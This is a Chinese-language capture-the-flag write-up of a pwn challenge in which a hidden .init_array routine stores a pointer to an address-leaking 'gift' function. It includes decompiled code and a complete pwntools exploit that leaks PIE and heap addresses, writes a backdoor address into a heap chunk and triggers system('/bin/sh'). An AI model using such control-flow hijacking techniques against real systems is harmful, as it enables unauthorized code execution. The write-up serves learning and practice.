​ 在考试的时候没有做出来,考完后和老曹交流学会了,主要卡住的点,是走错了方向,一直在考虑堆的漏洞怎么利用,其实不是堆的漏洞,怎么说呢,其实是一个知识点的事,init_array这个节,会进行一些初始化操作,不知道确实很难搞…不过其实也不是没有办法,其实可以进行一些全局搜索之类的,寻找线索.

​ 题目文件: 本链接加attachments.tar.gz

解题思路

寻找对应函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
__int64 __fastcall main(const char *a1, char **a2, char **a3)
{
int v4; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
((void (__fastcall *)(const char *, char **, char **))sub_14A9)(a1, a2, a3);
while ( 1 )
{
((void (__fastcall *)(const char *))sub_1531)(a1);
printf("choice: ");
a1 = "%d";
__isoc99_scanf("%d", &v4);
if ( v4 == 4 )
break;
if ( v4 <= 0 )
exit(1);
((void (*)(const char *, ...))((char *)*(&off_5000 + v4 - 1) + 0xDEADBEEFLL))("%d", &v4);
}
return 0LL;
}

unsigned __int64 sub_1531()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

v1 = __readfsqword(0x28u);
puts("1. add");
puts("2. delete");
puts("3. edit");
puts("4. exit");
return v1 - __readfsqword(0x28u);
}

​ 一上来看sub_1531是能看到菜单的,但是很明显,下面没有对应的函数,就感到很奇怪了,(其实下次可以直接在ida的函数列表里找,如果不是花指令的话,花指令的话,还是直接看汇编,看有没有红色的代码)

​ 当时是在gdb中动态调试找到的对应的函数

​ 同时发现了一个gift函数,用来泄露地址的,还发现了一个后门函数,可以直接getshell,于是现在的问题就变成了怎么执行这个后门函数呢? 也就是怎么劫持控制流, 覆盖返回地址 or 利用堆进行任意内存读写, 似乎 都不太行…于是就卡住了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 sub_1206()
{
void *v0; // rax
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Ok, you find the gift");
v0 = malloc(0LL);
printf("%#lx, %#lx, %#lx\n", sub_1206, &write, v0);
return v2 - __readfsqword(0x28u);
}

unsigned __int64 sub_11C9()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

v1 = __readfsqword(0x28u);
system("/bin/sh");
return v1 - __readfsqword(0x28u);
}

柳暗花明差一村

1
2
3
4
5
  ((void (*)(const char *, ...))((char *)*(&off_5000 + v4 - 1) + 0xDEADBEEFLL))("%d", &v4);

.data:0000000000005000 off_5000 dq 0FFFFFFFF21525389h ; DATA XREF: main+A0↑o
.data:0000000000005008 dq 0FFFFFFFF21525477h
.data:0000000000005010 dq 0FFFFFFFF21525518h

​ 当时在main函数中,看到了这个,也理解了off_5000是data节中的数据,利用这里的数据进行一些运算,然后就到达了函数地址,例如0位置,运算后就是add函数的位置,但是 gift和后门函数,都在内存中没有这个偏移,堆虽然可以写,但是不知道堆的地址呀,但gift可以泄露,但gift怎么调用呢?? 于是就卡死了………

其实这里可以尝试爆破的…(我觉得),后面有时间可以试试

​ 于是就在这里卡死了…就像开头提的一样,其实在init_array中有初始化这个操作,保存了gift对应的地址,怎么说呢…应该让自己多学一点工具,辅助自己去探索可能的路径

image-20230602223110772

正解

​ elf执行时会先走这个init,这里面有个sub_144E,就是它把gift函数加载进去了,能够看到,它加载到的地址的偏移就是0x29C0

&0xFFFFFFFFFFFFF000LL是干了啥呢? 与之后就是程序0x5000的位置,是为了得到这个位置,然后+0x29C0就是存储gift的地方

​ 不过这里为啥是0xDEADBF61LL,这是什么逻辑,后面在main中要+0xDEADBEEFLL,

​ 所以0x1278 - 0xDEADBF61 +0xDEADBEEF = 0x1206,就是gift的地址,所以这个地址应该是这个原因,因为要考虑到pie,所以要用一个函数或者变量的地址,这里用了0x1278的, 和它差多少呢? 就是 0x1206 - 0xDEADBEEF-0x1278,也就是-0xdeadbf61

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.init_array:0000000000003D60                 ;org 3D60h
.init_array:0000000000003D60 off_3D60 dq offset sub_11C0 ; DATA XREF: LOAD:0000000000000168↑o
.init_array:0000000000003D60 ; LOAD:00000000000002F0↑o
.init_array:0000000000003D68 dq offset sub_144E
.init_array:0000000000003D68 _init_array ends
.init_array:0000000000003D68

unsigned __int64 sub_144E()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

v1 = __readfsqword(0x28u);
*(_QWORD *)(((unsigned __int64)&unk_5018 & 0xFFFFFFFFFFFFF000LL) + 0x29C0) = (char *)sub_1278 - 0xDEADBF61LL;
return v1 - __readfsqword(0x28u);
}

​ 所以就可以先通过调用gift来进行泄露地址,0x29C0 = 10688 , 10688/8 = 1336,这是因为指针的偏移,按照char类型来算????? 是吗?

​ 因为在main中还有个-1,所以是1337,输入1337就可以调用gift了!

最终步骤

1
2
3
choice: 1337
Ok, you find the gift
0x5557ed770206, 0x7f1094c79d80, 0x5557eea752a0

​ 之前取这些数据的时候老出问题…….

​ 先把前面的数据接收了,然后再接收三个值,怎么接收呢,可以按照长度来,但是感觉比较der,还是看老曹的..recvline之后strip去掉最后的空格,然后decode解码,然后通过”, “分割,这样gift就成了数组, 0 1 2 对应着三个值,就可以了!

1
2
3
4
5
6
gift = (p.recvline().strip()).decode().split(', ')
pie = int(gift[0], 16) - 0x1206
#print(hex(pie))
leak_heap_addr = int(gift[2], 16)
#print(hex(leak_heap_addr))
vul_addr = leak_heap_addr + 0x20

​ 然后把后门地址写入堆地址,此时也有堆的地址了,再次利用main函数中的调用逻辑,调用就可以了

1
2
3
4
5
6
7
8
9
backdoor_addr = pie + 0x11c9

p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('content: ')
p.send(p64(backdoor_addr - 0xdeadbeef))


trigger_input = (vul_addr - pie - 0x5000) // 8 + 1

​ //是整除的意思

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

elf = "./pwn"

context.log_level= "debug"

p = process(elf)
p =remote("xxxxx", xxx)
context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(p)


p.sendlineafter('choice: ', str(1337))
p.recvuntil('Ok, you find the gift\n')

gift = (p.recvline().strip()).decode().split(', ')
pie = int(gift[0], 16) - 0x1206
#print(hex(pie))
leak_heap_addr = int(gift[2], 16)
#print(hex(leak_heap_addr))
vul_addr = leak_heap_addr + 0x20

backdoor_addr = pie + 0x11c9

p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('content: ')
p.send(p64(backdoor_addr - 0xdeadbeef))


trigger_input = (vul_addr - pie - 0x5000) // 8 + 1

p.recvuntil('choice: ')
p.sendline(str(trigger_input))

p.interactive()

待解决

这个题如果正向写代码,要怎么写呢?

ida一开始进去不是main而是…这里是否…